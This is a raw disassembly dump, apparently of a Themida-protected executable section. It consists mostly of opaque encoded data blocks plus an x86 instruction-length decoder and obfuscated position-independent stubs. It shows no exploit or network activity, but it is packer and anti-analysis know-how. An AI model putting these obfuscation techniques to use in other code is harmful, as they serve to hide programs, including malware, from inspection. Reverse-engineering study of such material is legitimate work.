		dd 8D03E48h, 41EB2BE3h,	0BFCF416Fh, 36075DEEh, 2390EF93h
		dd 0EF9335EDh, 25091E32h, 9ACE7DACh, 66EF9335h,	0B3BFC648h
		dd 0FB75B15Eh, 0AD5EB9B5h, 83437B6Dh, 71C70729h, 0F92F9C9Dh
		dd 63EF9335h, 3D97578Fh, 9E2E062Ah, 0A6FCF428h,	0F14192BCh
		dd 0A86BE21Ah, 0C22BEF18h, 4E60CA0Ah, 0FFE33B8Eh, 0DC0DEF92h
		dd 0B856E020h, 7BD9BC7Ch, 430C500Fh, 45E488Ah, 3F2B092Ah
		dd 0F435F11Ah, 0C2A50FA5h, 42DB2B37h, 92CB9BF1h, 0E2CCE0EFh
		dd 7AB25B6Bh, 53699BAh,	0F7104521h, 0AC5CEC3Fh,	5F3AF970h
		dd 9122F19Bh, 0E52EEB30h, 29E509B9h, 5999B5A0h,	3EEAB4ECh
		dd 0F12DDCF6h, 0A9658731h, 0B674769h, 0AAC6E24Ah, 0A0F44716h
		dd 0EDF63EEAh, 45C148C1h, 1139EF04h, 0DD3B90BBh, 3E693A6Eh
		dd 83AB87F6h, 0A4440608h, 40CF4668h, 2Fh, 0CC82191h, 63EF66CCh
		dd 0A271AD5Eh, 0B43DF912h, 358DC376h, 37E6EF93h, 933ECC66h
		dd 927DD208h, 93286DA3h, 179EB2EFh, 0E3045935h,	0BFE6EA2Bh
		dd 1527DD0Fh, 0EB1397D3h, 30B997h, 56FC2FE7h, 0D639EB6Bh
		dd 9153DA89h, 8F5C36F2h, 21676E3Ch, 0E507B7E5h,	99B5A029h
		dd 0DE16FA4Ah, 35F19457h, 0DE3F8C5Fh, 23EBE0B2h, 7576DC0Fh
		dd 0C06E775Ch, 8035F77Eh, 0FCF0E548h, 86620E2Ah, 32191F02h
		dd 1706h, 4D8B8A00h, 0E147F427h, 6EEF9335h, 0CB219142h
		dd 1298D213h, 92000000h, 0F4274D8Bh, 9335DD47h,	9D4E62EFh
		dd 0C607BF2Dh, 137A4CAh, 8BAE0000h, 0ACAD2349h,	5515BFA6h
		dd 5AD823BDh, 0F0DE16F4h, 493C9023h, 0AD81EF92h, 3DF31424h
		dd 0ED274C91h, 8C48A5D6h, 0E6C8E64Ch, 0AD698535h, 0A1ADA824h
		dd 0BB5373E7h, 9877C7BDh, 0BF369C5Ch, 2630h, 498BBC00h
		dd 0CBFAD23h, 0EF9335D8h, 0BF870925h, 74B05EB3h, 0B5E4B5FAh
		dd 9335D206h, 0BA331FEFh, 1DA436h, 8BAE0000h, 0BFAD2349h
		dd 9335D80Ch, 48AA4EFh,	0B05EB3BFh, 0E4B5FA74h,	0B878B454h
		dd 5E179B12h, 0ACFF71ADh, 0DF488BA6h, 9336386Ch, 87A985EFh
		dd 0E7A1AD09h, 0BDBB5373h, 3699h, 488B1500h, 0FBFAC22h
		dd 49E525E1h, 2F41AF07h, 881AFAEh, 0F9366AD9h, 577BEF92h
		dd 5EB3BFD9h, 16A675B1h, 53F939F5h, 0FBF56DAh, 77AC25E1h
		dd 32A47Bh, 8BAE0000h, 0BFAC2248h, 9335D80Ch, 598AA4EFh
		dd 0B6EA5908h, 0FBEF9335h, 35B2E6D7h, 0D5FFEF93h, 0F5E27E98h
		dd 5D6F41E7h, 72FE77AFh, 0B15EB3BFh, 0B9B5FB75h, 8A66B25Eh
		dd 16389252h, 362A63D6h, 0F7D5EF93h, 7A97279Bh,	0A1288242h
		dd 92417D91h, 94AF1238h, 83AB58DBh, 2CD52F8Fh, 32F1787Eh
		dd 0E00FBF3Eh, 0C74EE424h, 23E31BF7h, 0EB23C474h, 3808812Bh
		dd 0BDD818D4h, 7FCF731Fh, 0EFDF568Eh, 0A818CB03h, 0E04A8A42h
		dd 8019AA69h, 74EF933Ch, 44BD76FFh, 0FE916E3Fh,	5DE2FFFFh
		dd 0EF933603h, 11CD3C8Ch, 35F1AB98h, 0C318EF93h, 2EEF9335h
		dd 0EF9335F6h, 9335C31Dh, 35F62EEFh, 0FCB2F93h,	755B9379h
		dd 1C5D15A6h, 4E62A522h, 8569D98Eh, 0C320894Fh,	0C4EA739Ah
		dd 3C86AE04h, 608A4ECEh, 66A247CEh, 7F6FDF0Ch, 4E1FCE47h
		dd 4578AC1Fh, 0E9C5B641h, 338E5360h, 0BF93ABDDh, 686AE957h
		dd 93DFE328h, 2D6h, 5A9B53BEh, 8C905EAh, 5B9A52B8h, 0ACB03EBh
		dd 5A9B53BAh, 7A91DE27h, 0D9338342h, 806CDC1Dh,	0D4358544h
		dd 0C190D918h, 0E1B91E72h, 0C84463E8h, 3C8CAD5Eh, 0F12716CEh
		dd 1BEF9335h, 5293EF6h,	331DD937h, 3E5490F3h, 80CC5EEDh
		dd 0FF55E521h, 0CE7D18B0h, 0F6448B9Ah, 6AE3CBE7h, 0A6B33ADEh
		dd 78B87496h, 8E3DFCD2h, 0F644C556h, 3A5CF55Fh
		dd 9F5F9774h, 0D3DD1D35h, 5C124ADh, 0C70FBC6Fh,	14EBD31Ah
		dd 6DAB673Eh, 19377F77h, 55917ACAh, 18D43686h, 0B3035291h
		dd 0CC60A05Ch, 37E009E6h, 0A029078Dh, 0F1427790h, 0FCF7169Bh
		dd 22E2CCE0h, 0F7164597h, 0D4BE7AFCh, 60EAB407h, 0DBF7F285h
		dd 4E95908h, 0D1FF37D4h, 0C1CABD11h, 7C986C88h,	0DE328152h
		dd 2303A90Dh, 55B6860Fh, 0FFE85899h, 0B70435DBh, 3A90D61h
		dd 82AC82AEh, 8FE52142h, 583FEF5Ch, 604CF937h, 7107C3A0h
		dd 9D4E609Ch, 84297FCCh, 5A760A5Ah, 4DB102D3h, 56FFE8CDh
		dd 0E0D20AE6h, 0B913D30Bh, 0DA092530h, 4143816Ah, 0BC8EBBFFh
		dd 71547718h, 5B753C65h, 0F516A675h, 7B53F939h,	0EC8815BEh
		dd 0B675FC26h, 0E929E506h, 0B76045Ch, 0CE3D8D11h, 0BE7A9F16h
		dd 0E55607D4h, 110B99AFh, 8859D0FCh, 99E4A73Bh,	98587406h
		dd 86553FFBh, 5905AC35h, 0F51D310Dh, 89E43BA1h,	5F0B477Bh
		dd 9000001h, 5FEF2EE6h,	0BBB7AB2h, 58E829E5h, 5B574B0h
		dd 92EF2EE6h, 0F12DDC6Bh, 0AE668030h, 0FB33DF6Fh, 0A5618A3Ah
		dd 0CF7C2D64h, 0E8E1B699h, 8B4DC1E6h, 45F6254Fh, 0E52180D1h
		dd 0C65CB49Eh, 0DFBE12A1h, 2F03F644h, 0E8819807h, 0A16506C6h
		dd 8AAB18CBh, 97EBE10Dh, 488953BBh, 0F7CB686Ch,	0FDBBh
		dd 0D00CE700h, 904CA111h, 0D30BE151h, 924AA212h, 0D00CE353h
		dd 0D6956C11h, 8E3EFF37h, 0D161A05Ch, 0F040813Dh, 571EDF17h
		dd 0B65FB506h, 8BACE8E1h, 0DF0FBF07h, 0C44DE727h, 5C8FE521h
		dd 218043EFh, 0A46448E5h, 0CD21F912h, 497BD111h, 84456BA3h
		dd 0DB1BD334h, 0C5167CB8h, 0D25B9375h, 0F54AB003h, 0BD97EBD2h
		dd 0CF6D876Bh, 22F1DF96h, 0D8CC073h, 0FDD1FCF6h, 56E6B774h
		dd 68C202BAh, 803CD1E1h, 0E51BF141h, 2B5A9E60h,	5091BF7Ah
		dd 0DCC08E0h, 45964EBDh, 51D814F5h, 13CB2292h, 4A8862D2h
		dd 1C3D6AB7h, 35B098CDh, 0D9F5034Ch, 0DE6EAF81h, 6A3BFA32h
		dd 0CA54883Bh, 50BCFCF5h, 0F3A98394h, 6E35B591h, 92A22B05h
		dd 2D7CBD79h, 0E71FCC7Ch, 0F53782D6h, 6AE3CFFCh, 0B574B05Ah
		dd 0AD7E14D0h, 8381B81Eh, 2390C1F2h, 3A6ADEDh, 82971E32h
		dd 2FD86EAEh, 37C36F7h,	76000000h, 0B35E7200h, 0DC0DBB7Bh
		dd 0BA56E020h, 9274C202h, 0BD2C9A5Ah, 9877C101h, 0C22A9C5Ch
		dd 8E7CCA0Ah, 0CB209656h, 68DDD313h, 313h, 68243C89h, 6303h
		dd 68240C89h, 4144h, 52241C89h,	0B1767A68h, 0D1895A06h
		dd 7119685Ah, 24890000h, 24048124h, 4, 0CD89555Bh, 8B086B89h
		dd 0C481242Ch, 4, 5B2434FFh, 4C481h, 34FF0000h,	0C4835924h
		dd 0FCEEE904h, 3D9BFFFAh, 80DBB812h, 0C50306B1h, 0C8E9C38Bh
		dd 88000001h, 7	dup(88004188h),	4188h, 4 dup(0)
		dd 0C4000088h, 11000091h, 11111111h, 0C9111111h, 88888899h
		dd 888888h, 0
		dd 44000006h, 41000044h, 11000000h, 44111111h, 99444444h
		dd 3C98802h, 88001002h,	88001188h, 11888888h, 44111111h
		dd 16h,	880000h, 88880000h, 88h, 88008000h, 8888888h, 88000000h
		dd 88080888h, 888888h, 0
		dd 88000000h, 88888888h, 80888888h, 3 dup(88888888h), 99880088h
		dd 88899h, 44880000h, 44444444h, 88444444h, 88888888h
		dd 888888h, 9980h, 88889980h, 888888h, 88888889h, 899988h
		dd 80000000h, 88808888h, 88888888h, 88808888h, 80888888h
		dd 88888888h, 26088888h, 643E362Eh, 0F0676665h,	0F3F2h
		dd 0FF000000h, 0E6FFFFFFh, 0FA004016h, 4016h, 0
		dd 1000000h, 14h dup(0)
		dd 0C3000000h, 77ED6380h, 1000075h, 11h	dup(0)
		dd 0E9000000h, 353h, 0E855h, 815D0000h,	0B18316EDh, 85C76006h
		dd 6B18263h, 0
		dd 663E8166h, 0F850FA1h, 0C7000000h, 0B1826785h, 606h
		dd 24E900h, 858D0000h, 6B1826Bh, 0BB858D50h, 5006B182h
		dd 0E8006A56h, 1Dh, 2510C483h, 0FFh, 82678589h,	36106B1h
		dd 0B18267B5h, 63858B06h, 5D06B182h
		db 0C3h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		and	byte ptr [ebp-5], 0
		and	byte ptr [ebp-6], 0
		xor	dl, dl
		and	[ebp-1], dl
		cmp	dword ptr [ebp+8], 0
		jz	loc_5A034E
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		mov	byte ptr [ebp-2], 1
		jmp	loc_5A035A
; ---------------------------------------------------------------------------


loc_5A034E:				; CODE XREF: Themida_:005A0337j
		and	byte ptr [ebp-3], 0
		and	byte ptr [ebp-2], 0
		mov	byte ptr [ebp-4], 4


loc_5A035A:				; CODE XREF: Themida_:005A0349j
		push	ebx
		push	esi
		push	edi


loc_5A035D:				; CODE XREF: Themida_:005A03B2j
					; Themida_:005A03CEj ...
		mov	edi, [ebp+0Ch]
		mov	esi, [ebp+10h]
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		mov	[esi+ecx], al
		xor	cl, cl


loc_5A0370:				; CODE XREF: Themida_:005A0397j
		movzx	ebx, cl
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6B183CDh
		lea	ebp, [ebp+6B18243h]
		add	ebp, ebx
		cmp	[ebp+0], al
		pop	ebp
		jz	loc_5A039D
		inc	cl
		cmp	cl, 0Bh
		jb	loc_5A0370


loc_5A039D:				; CODE XREF: Themida_:005A038Cj
		cmp	cl, 0Bh
		jz	loc_5A03FA
		cmp	al, 66h
		jnz	loc_5A03DB
		cmp	byte ptr [ebp-5], 0
		jnz	loc_5A035D
		cmp	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-5], 1
		jnz	loc_5A03D3
		mov	byte ptr [ebp-4], 2
		mov	byte ptr [ebp-3], 0FEh
		jmp	loc_5A035D
; ---------------------------------------------------------------------------


loc_5A03D3:				; CODE XREF: Themida_:005A03C0j
		and	byte ptr [ebp-3], 0
		mov	byte ptr [ebp-4], 4


loc_5A03DB:				; CODE XREF: Themida_:005A03A8j
		cmp	al, 67h
		jnz	loc_5A035D
		cmp	byte ptr [ebp-6], 0
		jnz	loc_5A035D
		xor	byte ptr [ebp-2], 1
		mov	byte ptr [ebp-6], 1
		jmp	loc_5A035D
; ---------------------------------------------------------------------------


loc_5A03FA:				; CODE XREF: Themida_:005A03A0j
		mov	ebx, [ebp+14h]
		mov	cl, dl
		dec	cl
		cmp	al, 0Fh
		mov	[ebx], cl
		jnz	loc_5A0426
		movzx	ecx, dl
		inc	dl
		mov	al, [edi+ecx]
		movzx	edi, al
		shr	edi, 1
		mov	[esi+ecx], al
		add	edi, 80h
		jmp	loc_5A042B
; ---------------------------------------------------------------------------


loc_5A0426:				; CODE XREF: Themida_:005A0405j
		movzx	edi, al
		shr	edi, 1


loc_5A042B:				; CODE XREF: Themida_:005A0421j
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6B18485h
		lea	ebp, [ebp+6B18143h]
		add	ebp, edi
		mov	bl, [ebp+0]
		pop	ebp
		mov	cl, al
		and	cl, 1
		mov	[ebp-7], cl
		shl	cl, 2
		shr	bl, cl
		test	bl, 8
		mov	[ebp-6], bl
		jz	loc_5A05AD
		mov	ebx, [ebp+0Ch]
		mov	byte ptr [ebp+0Bh], 1
		movzx	ecx, dl
		inc	dl
		mov	bl, [ebx+ecx]
		mov	[ebp+17h], dl
		mov	dl, bl
		mov	[esi+ecx], bl
		and	dl, 7
		movzx	ecx, bl
		cmp	dl, 4
		setz	byte ptr [ebp-5]
		shr	ecx, 6
		sub	ecx, 0
		jz	loc_5A04F1
		dec	ecx
		jz	loc_5A04D4
		dec	ecx
		jnz	loc_5A0544
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A0540
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A04B3
		mov	byte ptr [ebp+0Bh], 2


loc_5A04B3:				; CODE XREF: Themida_:005A04A9j
		add	byte ptr [ebp+0Bh], 4
		push	ebp
		call	$+5
		pop	ebp
		sub	ebp, 6B18511h
		mov	dword ptr [ebp+6B18263h], 1
		pop	ebp
		jmp	loc_5A0544
; ---------------------------------------------------------------------------


loc_5A04D4:				; CODE XREF: Themida_:005A048Ej
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A051E
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A051E
		mov	byte ptr [ebp+0Bh], 2
		jmp	loc_5A051E
; ---------------------------------------------------------------------------


loc_5A04F1:				; CODE XREF: Themida_:005A0487j
		cmp	byte ptr [ebp-2], 0
		jnz	loc_5A0537
		cmp	byte ptr [ebp-5], 0
		jz	loc_5A0526
		movzx	ecx, byte ptr [ebp+17h]
		mov	edx, [ebp+0Ch]
		mov	cl, [edx+ecx]
		and	cl, 7
		cmp	cl, 5
		jnz	loc_5A051E
		mov	[ebp+0Bh], cl


loc_5A051E:				; CODE XREF: Themida_:005A04D8j
					; Themida_:005A04E2j ...
		inc	byte ptr [ebp+0Bh]
		jmp	loc_5A0544
; ---------------------------------------------------------------------------


loc_5A0526:				; CODE XREF: Themida_:005A04FFj
		cmp	dl, 5
		jnz	loc_5A0544
		mov	[ebp+0Bh], dl
		jmp	loc_5A0544
; ---------------------------------------------------------------------------


loc_5A0537:				; CODE XREF: Themida_:005A04F5j
		cmp	dl, 6
		jnz	loc_5A0544


loc_5A0540:				; CODE XREF: Themida_:005A049Fj
		mov	byte ptr [ebp+0Bh], 3


loc_5A0544:				; CODE XREF: Themida_:005A0495j
					; Themida_:005A04CFj ...
		dec	byte ptr [ebp+0Bh]
		jz	loc_5A0572
		movzx	ecx, byte ptr [ebp+0Bh]
		mov	[ebp+8], ecx


loc_5A0554:				; CODE XREF: Themida_:005A056Aj
		movzx	esi, byte ptr [ebp+17h]
		mov	ecx, [ebp+0Ch]
		mov	edx, [ebp+10h]
		inc	byte ptr [ebp+17h]
		dec	dword ptr [ebp+8]
		mov	cl, [ecx+esi]
		mov	[edx+esi], cl
		jnz	loc_5A0554
		mov	esi, edx


loc_5A0572:				; CODE XREF: Themida_:005A0547j
		and	al, 0FEh
		cmp	al, 0F6h
		jnz	loc_5A05A7
		cmp	edi, 7Fh
		ja	loc_5A05A7
		test	bl, 38h
		jnz	loc_5A05A7
		cmp	byte ptr [ebp-7], 0
		jz	loc_5A05A1
		movzx	eax, byte ptr [ebp-4]
		jmp	loc_5A05A4
; ---------------------------------------------------------------------------


loc_5A05A1:				; CODE XREF: Themida_:005A0592j
		push	1
		pop	eax


loc_5A05A4:				; CODE XREF: Themida_:005A059Cj
		mov	[ebp-1], al


loc_5A05A7:				; CODE XREF: Themida_:005A0576j
					; Themida_:005A057Fj ...
		mov	dl, [ebp+17h]
		mov	bl, [ebp-6]


loc_5A05AD:				; CODE XREF: Themida_:005A0457j
		mov	al, bl
		and	eax, 7
		sub	eax, 4
		jz	loc_5A05D8
		dec	eax
		dec	eax
		jz	loc_5A05CE
		and	bl, 7
		add	[ebp-1], bl
		jmp	loc_5A05E0
; ---------------------------------------------------------------------------


loc_5A05CE:				; CODE XREF: Themida_:005A05BDj
		mov	al, [ebp-3]
		add	al, 6
		jmp	loc_5A05DD
; ---------------------------------------------------------------------------


loc_5A05D8:				; CODE XREF: Themida_:005A05B5j
		mov	al, [ebp-3]
		add	al, 4


loc_5A05DD:				; CODE XREF: Themida_:005A05D3j
		add	[ebp-1], al


loc_5A05E0:				; CODE XREF: Themida_:005A05C9j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_5A0608
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_5A05F3:				; CODE XREF: Themida_:005A0602j
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_5A05F3


loc_5A0608:				; CODE XREF: Themida_:005A05E8j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		db 8Dh
		dd 0B1831085h, 9D858906h, 0E906AC27h, 0Ch, 591A19DDh, 2	dup(0)
		dd 56EE9h, 0FC38DB00h, 0A4608D3Dh, 0FF37D565h, 0A65E8E3Eh
		dd 0FC38D767h, 0EAB9403Dh, 0BA0ACB03h, 0E5559450h, 0BC0CCD09h
		dd 1B52934Bh, 0AFA3F94Ah, 0CFE8E8E1h, 0E20FBF43h, 7A93A32Ah
		dd 73C09142h, 0EF93361Dh, 222D685Dh, 485F215Bh,	992FED64h
		dd 0CB7BBA72h, 9C2AEA22h, 3302B56Bh, 0DAB49A40h, 0E8C6FEE8h
		dd 0B5719E28h, 0F12DC375h, 0AE668731h, 2F62C26Eh, 0B9C3F970h
		dd 1E573313h, 0B9DC88A8h, 0E5559450h, 809A3009h, 32B10A7Eh
		dd 73D80C3Dh, 0E91AEF92h, 55B2A36Bh, 0E7C9E5F2h, 427A9626h
		dd 1AD23482h, 477F6CDAh, 1FD73187h, 6C18BADFh, 58341635h
		dd 0EC2DE905h, 0DD8E17BDh, 3B52AD18h, 50782A38h, 5E8D150Dh
		dd 9291B7EDh, 0A12804EFh, 7CBC7891h, 6F1B812Bh,	50F9445Dh
		dd 0AAB3EAD9h, 6141EF92h, 0C46DE905h, 5C67C0BBh, 0EB000000h
		dd 75DEEBFh, 54EF9336h,	28C1F178h, 41992CECh, 37EF9335h
		dd 77C77B17h, 35995995h, 0E28077C2h, 55DCF24Fh,	0BBAE58DCh
		dd 150C0h, 5EDC0000h, 3B575B1h,	0A1F636EEh, 0B63FF711h
		dd 6EAE6686h, 5E434D8h,	9127E7C9h, 4D7FBF77h, 0F640016Dh
		dd 0AE7BAD6h, 4AA313D2h, 5E5F5392h, 14A477AFh, 70B23BF3h
		dd 2DED29C6h, 0DB7EEA48h, 8939F834h, 0D264A460h, 6C40803Ch
		dd 0E00E11BBh, 8EA65E8Eh, 0AC25F2A9h, 9206E28Eh, 0E8C0BBCBh
		dd 0E55F9F42h, 941D8E9Dh, 0A91Bh, 0AF5E9700h, 0F214A477h
		dd 1EADFA3Ah, 0EF9335CAh, 9C153B17h, 0CA02E85Eh, 9450BC0Ah
		dd 0D60EE254h, 924AA016h, 0FCB5D173h, 5BFE6A4Ah, 1BAB78B4h
		dd 53F939F5h, 42A919DAh, 60F3598Ah, 74D46680h, 0CC9B59D0h
		dd 31FA2E9Dh, 8962EF93h, 816A5A4Dh, 0D2E26B45h,	6E42823Ah
		dd 2BE309B9h, 0EAC841EBh, 4DF6627Eh, 0F444C0BBh, 0B41EDE16h
		dd 5FB23Dh, 5E3E0000h, 1B777AFh, 48E231EDh, 37E8C2DEh
		dd 3CFE77E1h, 69A9658Ah, 37F72FDFh, 9FD6B290h, 3F83EF33h
		dd 0C487DD6Eh, 0A310EF92h, 0EF92C46Dh, 0A5899EB2h, 31ED1C2Ch
		dd 0B15EFCF0h, 0C900B575h, 0AFEF9335h, 0F55FE38Fh, 0A34ECDFCh
		dd 4DA931B7h, 85980129h, 60E46DE4h, 68C0BB5Ah, 1, 68B05EE4h
		dd 7EB65A7Eh, 8BE7E50h,	51E727DFh, 77C101BDh, 15A3639Bh
		dd 52F838F4h, 0F4622FEh, 0EB57FD2Ch, 9DDDB960h,	2A4664EDh
		dd 9C5D9977h, 19AA3DF9h, 0EF9308C3h, 0D90A2408h, 2F169B6Ah
		dd 0DF0C20E5h, 3CE73D8Eh, 1834F63Fh, 4E55391h, 50B909C8h
		dd 86A86488h, 3C9BF346h, 27C5F63Fh, 72992FEFh, 0FFDD7ABAh
		dd 0A27ED293h, 5E7A93C6h, 0E4388BAEh, 29F63F3Ch, 0BCEB2B05h
		dd 3F3CD90Fh, 240A26F6h, 927BCB0Ah, 0BB2C9A5Ah,	0F7A6C303h
		dd 4072AA47h, 7AD6DA9h,	9DC0AC8Eh, 0AAFE4D6Ch, 0F7F63F3Ch
		dd 0D712C1DDh, 2B050B79h, 9B154BF8h, 765AF63Fh,	14909958h
		dd 1C39E8D4h, 159h, 254F8B90h, 225C45F6h, 0CDE1E52Fh, 0A8FC4F1Eh
		dd 0F5F63F4Ah, 249250D9h, 7ACA0BC3h, 36865591h,	529019D5h
		dd 0BCB03E4h, 1CA0CC6Eh, 4AAAFE4Dh, 0DDF7F63Fh,	6E9155D7h
		dd 951C323Ch, 5B8844A5h, 40C905EBh, 0A178D283h,	458B27BFh
		dd 9B1F961Fh, 9139E89Ah, 41h, 264C8B1Dh, 363246F5h, 133F6F93h
		dd 363266D3h, 0B65A6F93h, 0E408BE7Eh, 2F8DE828h, 7BA80243h
		dd 0A4CFDED1h, 0CD443EF4h, 0CC0B83EFh, 0B2C675A6h, 0BFEF9264h
		dd 6AAA628Fh, 652FEEC0h, 0C1h, 254F8B6Fh, 286845F6h, 0C5F5E52Fh
		dd 3C3ED29h, 4B9854B5h,	5473A91Ah, 94B8F63Fh, 488844A6h
		dd 18A86BE2h, 42F737EFh, 0F63F5409h, 0A3639B73h, 0FD3DF915h
		dd 0C283EFCFh, 83D6B26Eh, 73AEB46Ah, 0A907A28h,	8082B222h
		dd 84AA1B2Ah, 73E42045h, 3F8B8CC0h, 0D3FDD1F6h,	0AEE25100h
		dd 0F3F63F8Bh, 348756DFh, 0EBCE0650h, 65BB0859h, 0AAFCF112h
		dd 361A0F86h, 0D107B4E5h, 1EFCF112h, 0CF79BB32h, 0D915FA1Eh
		dd 4E9DB319h, 1ADA12FEh, 4DFB39B0h, 16A0609Ch, 0D2FC3CF8h
		dd 0FCDF96F2h, 0FE3AB2DEh, 0A6164794h, 37048D49h, 0F27F8D51h
		dd 64B80B5Ah, 0A903A299h, 35190C85h, 7EB656E6h,	5E9D14BEh
		dd 394F8B52h, 24E009D1h, 0A0604EE4h, 47F7240Ah,	19B373ABh
		dd 0C909C52Bh, 883BEA63h, 0E521AFC4h, 53E52509h, 73C302BAh
		dd 0C377649Ah, 717661C1h, 0FF2A9F5Fh, 0AD54E199h, 4BBCE18Dh
		dd 9E25293h, 53BB0DCDh,	0DEFC5B9Bh, 0C6FEEFB2h,	9E56B707h
		dd 3125Eh, 180000h, 7BB35E72h, 20DC0DBBh, 2BA56E0h, 5A9274C2h
		dd 1BD2C9Ah, 5C9877C1h,	0AC22A9Ch, 568E7CCAh, 13CB2096h
		dd 9D68DDD3h, 89000032h, 0EF68240Ch, 8900002Ah,	3E68242Ch
		dd 89000010h, 5357240Ch, 0BB7906BBh, 81D3F72Bh,	0F66395E3h
		dd 82C38155h, 89D8A950h, 98BD5BDFh, 29339ED9h, 3C685FFDh
		dd 89000018h, 4832424h,	52590424h, 8957EA89h, 87989D7h
		dd 0C8B5A5Fh
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_54FDCC
; ---------------------------------------------------------------------------
		dw 0E735h
		dd 0CC942126h, 0B8D18C2Fh, 6B18B6Eh, 0E0FFC503h, 556F19D6h
		dd 355A619Ah, 42CCDA1Dh, 4F1B5F2Fh, 7BF05137h, 22E9h, 89CBEF00h
		dd 68h,	6 dup(0)
		dd 0E9000000h, 576h, 96578F62h,	0CC0DC926h, 97568E7Ch
		dd 0CE0FC727h, 96578F7Eh, 0B65512EBh, 0DD0FBF7Eh, 0BC50E021h
		dd 9871C100h, 85D49D5Ch, 0E1A9E236h, 84082FE8h,	816DAD5Eh
		dd 8B86B45h, 5EE828E4h,	1CB676AEh, 0CF79BB32h, 9525E420h
		dd 0CE78B874h, 0D10DFD1Dh, 0D8683FFFh, 4E7EF72Fh, 0F52B98A1h
		dd 3AEF9335h, 42AE20Ah,	0AC5CEA2Ah, 0E606B070h,	298BEE2Eh
		dd 34F0183Dh, 0E08CAC1Ah, 51904CBDh, 2D10DE1h, 0FF68A9A8h
		dd 60D387AEh, 0EF931F2Ch, 0A0735D71h, 931EBD13h, 0A72E02EFh
		dd 65853564h, 93C97AA9h, 0D8EF931Eh, 0A14D7DF4h, 98589479h
		dd 6ADC1C32h, 32844480h, 6BDD1DD9h, 22854581h, 0E2D6400h
		dd 0F11D402Ch, 0A344F435h, 0C71EAB6Bh, 0ADEF931Eh, 0E71FCE7Eh
		dd 26048D27h, 582AAE4Ah, 3E5EC0BBh, 8F000000h, 921BD33Fh
		dd 71AD5E1Eh, 35CE04B1h, 8AAAEF93h, 4F8602DEh, 18AC0BBh
		dd 6000000h, 0B575B15Eh, 0F636EE03h, 0AC6CA840h, 99E74D9Eh
		dd 2FB52383h, 3E2A0881h, 0FF3EF61Bh, 0A7669E4Fh, 77AF5EABh
		dd 30EC01B7h, 6EAA46F0h, 0AB6B4581h, 0F030EC1Dh, 0D592FEDEh
		dd 0B194FC0Eh, 3EDFF16Bh, 0E64CF09Ch, 0BBF809AAh, 32028B1Eh
		dd 52E223DBh, 0BBD7DB9h, 0C5E929E5h, 0FD6985E1h, 17C0BBF9h
		dd 81h,	0EF5A6CC6h, 24E6B85Ch, 63C909C5h, 5E48C44Dh, 1B777AFh
		dd 0C1F333EBh, 813185E1h, 6D9DAF67h, 52DB71B1h,	92538B62h
		dd 5EEECB22h, 1EB474B0h, 9335F92Fh, 987646EFh, 9C5C725Ch
		dd 0CA0AC22Ah, 4AA6C2E6h, 0C0BB49DEh, 63F2h, 0AF5E7E00h
		dd 50E0B777h, 0C5CC79B7h, 673F13DEh, 1CF0C049h,	0D40820E0h
		dd 0CE06E5B8h, 6EF45E0Fh, 26FE68B0h, 0A2F32288h, 0DA3418Ah
		dd 0FE54AC25h, 0F079803Dh, 88B15E7Ch, 9335E53Bh, 75DEEEFh
		dd 54EF9336h, 90436F78h, 9335ED23h, 301E32EFh, 360C45F0h
		dd 0C8E8EF93h, 4FC4409Ch, 1CCC0BBh, 40000000h, 0B474B05Eh
		dd 0ED2DE902h, 0C72B9B4Ah, 5765CF0Fh, 14BE7EB6h, 8ED3BF9Dh
		dd 65A460h, 0CD7DAEC4h,	73A91A1Fh, 0B8EF9335h, 0D07ABA94h
		dd 5AD30BE2h, 4349388Bh, 0FAD6E52Fh, 0BF5B8C3Ah, 0E3559551h
		dd 0D0FED00Ch, 0A35BB303h, 8340C963h, 0F122DA33h, 5A72AA41h
		dd 39C6DEC4h, 0ECC458Eh, 401563BBh, 0A3CF13F6h,	7643AF1Fh
		dd 40158FC5h, 0DEF0DCF6h, 0A6FA491Eh, 0EBF64015h, 5060E9C7h
		dd 0EBE7FB7h, 13CB3DDDh, 0A24BFD3Dh, 9ECFAA6Ah,	0C101BD2Eh
		dd 0A4C0E26Bh, 1DDC18F1h, 0E86F9014h, 1289839h,	8B140000h
		dd 45F6254Fh, 0E52F225Ch, 5A0DCDE1h, 36D602EAh,	6959D0FEh
		dd 35854480h, 8FD818D4h, 0D717CF3Fh, 23C4F47Dh,	0EC4E2BEBh
		dd 0F02CDD80h, 0A4BC3831h, 89B439E8h, 38000000h, 75DEEBFh
		dd 54EF9336h, 0D314F178h, 33DA6AB9h, 10A372FBh,	6F9335DCh
		dd 0BF779525h, 0DC0F2336h, 9DEBC776h, 0CF469232h, 1364B80Dh
		dd 0C7146F93h, 8E5D9977h, 9313E73Dh, 9118346Fh,	9057D7B3h
		dd 0D27829FAh, 0E00DA885h, 3EBE0C24h, 92F6A68Eh, 0F0BFE04Ch
		dd 0E7364A79h, 113BEF92h, 0C5E10D97h, 28FBD581h, 30EEA282h
		dd 0B358E15Eh, 0F11B3378h, 1ECFFDD0h, 58C26E6h,	708CC6h
		dd 71DB0000h, 27652653h, 72FE77F9h, 0F6254F8Bh,	0E168A446h
		dd 27A68330h, 1B2BE52Fh, 0D5153BF3h, 1CAF8A63h,	0F63F53C8h
		dd 0BC32515h, 7ACA0B25h, 20955591h, 0F63F52E7h,	6237538Fh
